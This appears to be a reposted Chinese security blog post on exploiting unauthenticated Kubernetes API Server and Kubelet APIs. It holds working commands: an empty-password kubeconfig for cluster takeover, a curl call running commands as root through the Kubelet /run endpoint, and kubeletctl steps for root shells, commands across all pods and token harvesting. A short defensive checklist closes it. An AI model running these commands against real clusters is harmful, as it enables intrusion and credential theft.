k8s安全攻防 API Server & Kubelet 篇

admin 2022年8月28日23:40:01评论87 views字数 4133阅读13分46秒阅读模式

上一篇《k8s安全攻防 -- etcd篇》中,我们介绍了etcd组件未授权带来的集群失陷风险,介绍了etcd的渗透攻击手法,本篇我们继续介绍核心组件 API Server 和 Kubelet API 未授权带来的风险,以及爱奇艺安全团队在攻防演练中常用的攻击利用手法。


API Server未授权访问

错误配置的API Server,可能出现未授权访问漏洞,这个问题在新版本中已经很少出现,但仍然可能在测试环境、个人开发环境中发现。直接访问存在漏洞的API Server,将返回关键词 apis/autoscaling,如下图所示:

k8s安全攻防  API Server & Kubelet 篇

扫描器还可以检测 https://API_SERVER/api/v1 这个URL,在返回的文本中,将会出现关键词: "kind": "APIResourceList"

在利用漏洞时,生成一个配置文件,这里我设置一个nobody用户,密码为空:


kubectl --kubeconfig=./test_config config set-cluster hacked_cluster --server=https://SERVER_IP:6443/ --insecure-skip-tls-verifykubectl --kubeconfig=./test_config config set-credentials nobody --username=nobody --password=""kubectl --kubeconfig=./test_config config set-context test_context --cluster=hacked_cluster --user=nobodykubectl --kubeconfig=./test_config config use-context test_context

使用上述配置文件,即可轻易地控制对应k8s集群:

[root@vul-test-1f70d199e ~]# kubectl --kubeconfig=./test_config get podsNAME                 AGEredis-master-y5epq   2y94d


Kublet API未授权访问

因为k8s默认配置的安全性大大地提升,Kublet未授权访问的漏洞已经基本绝迹了,但是,在开发测试机上还偶尔有机会扫描发现。

Kubelet API 一般监听在2个端口:10250、10255。其中,10250端口是可读写的,10255是一个只读端口。最常见的未授权访问一般是10255端口,但这个端口的利用价值偏低,只能读取到一些基本信息,无法成功执行命令。

安全配置的Kubelet API需要认证,访问 https://Node_IP:10250/pods,页面将返回 401 Unauthorized,如下图所示:

k8s安全攻防  API Server & Kubelet 篇

因真实漏洞环境较少,我们修改配置文件,自己构造一个漏洞演示环境,编辑 /var/lib/kubelet/config.yaml,修改认证和授权配置部分:

apiVersion: kubelet.config.k8s.io/v1beta1authentication:  anonymous:    enabled: true  webhook:    cacheTTL: 0s    enabled: false  x509:    clientCAFile: /etc/kubernetes/pki/ca.crtauthorization:  mode: AlwaysAllow

将 anonymous enabled 修改为true,将 authorization mode 修改为 AlwaysAllow,引入未授权访问漏洞。主动 kill kubelet进程,让其自动重启恢复。此时,再访问10250端口 /pods 接口,就能观察到接口返回200,返回了pods列表:

k8s安全攻防  API Server & Kubelet 篇


Kubelet 关键的API如下表所示:


Kubelet API

用法示例 描述
/pods GET /pods 列出所有的pods
/run POST /run/<podNamespace>/<podID>/<containerName>
POST /run/<podNamespace>/<podID>/<uid>/<containerName>
Body: <command>
在容器内执行命令
/exec GET  /exec/<podNamespace>/<podID>/<containerName>?command=<command>
POST /exec/<podNamespace>/<podID>/<containerName>?command=<command>
GET  /exec/<podNamespace>/<podID>/<uid>/<containerName>?command=<command>
POST /exec/<podNamespace>/<podID>/<uid>/<containerName>?command=<command>
通过数据流的方式在容器内执行命令

表格来自参考链接【1】

我们使用curl,在命名空间 kube-system, pod名为kube-proxy-5hgrs,名为 kube-proxy的容器内执行 id 命令

[root@vul-test-1f70d199e ~]# curl -k -v -H "Content-Type: application/x-www-form-urlencoded" -X POST https://NODE_IP:10250/run/kube-system/kube-proxy-5hgrs/kube-proxy -d "cmd=id"> POST /run/kube-system/kube-proxy-5hgrs/kube-proxy HTTP/1.1> User-Agent: curl/7.29.0> Host: SERVER_IP:10250> Accept: */*> Content-Type: application/x-www-form-urlencoded> Content-Length: 6> * upload completely sent off: 6 out of 6 bytes< HTTP/1.1 200 OK< Content-Type: application/json< Date: Mon, 28 Jun 2021 03:25:02 GMT< Content-Length: 39< uid=0(root) gid=0(root) groups=0(root)

可以看到,id命令执行成功。

因为kubelet API接口持续在产生变更,通过curl执行命令多有不便。建议下载现成的漏洞利用工具  https://github.com/cyberark/kubeletctl

wget https://github.com/cyberark/kubeletctl/releases/download/v1.7/kubeletctl_linux_amd64 && chmod a+x ./kubeletctl_linux_amd64 && mv ./kubeletctl_linux_amd64 /usr/local/bin/kubeletctlkubeletctl --server NODE_IP pods

kubeletctl 支持多个易用的命令,请参考工具说明。通过存在漏洞的Kubelet API,我们列出pods,如下图所示:

k8s安全攻防  API Server & Kubelet 篇

接着,可以扫描哪些pod的容器支持执行命令:

[root@vul-test-1f70d199e ~]kubeletctl --server NODE_IP scan rce

k8s安全攻防  API Server & Kubelet 篇

可以看到,第6个容器kube-proxy是可以执行命令的, 我们尝试得到一个交互式shell :

[root@vul-test-1f70d199e ~]# kubeletctl --server NODE_IP  -p kube-proxy-5hgrs -c kube-proxy -n kube-system exec "/bin/sh"# ididuid=0(root) gid=0(root) groups=0(root)

kubeletctl工具同时还支持 --all-pods 参数,会尝试遍历所有pods,并在所有运行中的容器内执行指定的命令:

[root@vul-test-1f70d199e ~]# kubeletctl run "uname -a" --all-pods --server NODE_IP[*] Running command on all pods

同时,通过scan token命令,尝试扫描token,有一定的几率可以发现token,攻击者可留存敏感信息备用:

[root@vul-test-1f70d199e ~]kubeletctl --server NODE_IP scan token

k8s安全攻防  API Server & Kubelet 篇

如果未授权访问的是只读的10255 HTTP端口,需要通过 --http --port 参数来指定

[root@vul-test-1f70d199e ~]# kubeletctl --server NODE_IP --http --port=10255 pods

10255端口是只读的,无法用于获取容器shell和执行命令。

kubeletctl 工具的其他用法,本文不做赘述,感兴趣的同学可参考文末链接。


总结

本文介绍了k8s核心组件 API Server和 Kubelet API 未授权访问的风险和利用方式。在内部安全能力建设方面:

  • 扫描器:k8s组件未授权访问的扫描发现

  • HIDS:k8s组件配置文件中,不安全配置项的检测发现、告警

  • HIDS:k8s组件服务进程,不安全启动参数的发现、告警

  • API审计:API Server异常调用审计、发现

  • Kubelet 日志审计、异常发现:一般事件被写入 /var/log/messages  


参考链接

【1】https://www.cyberark.com/resources/threat-research-blog/using-kubelet-client-to-attack-the-kubernetes-cluster

原文始发于微信公众号(爱奇艺安全应急响应中心):k8s安全攻防 -- API Server & Kubelet 篇

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年8月28日23:40:01
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   k8s安全攻防 API Server & Kubelet 篇https://cn-sec.com/archives/1098410.html

发表评论

匿名网友 填写信息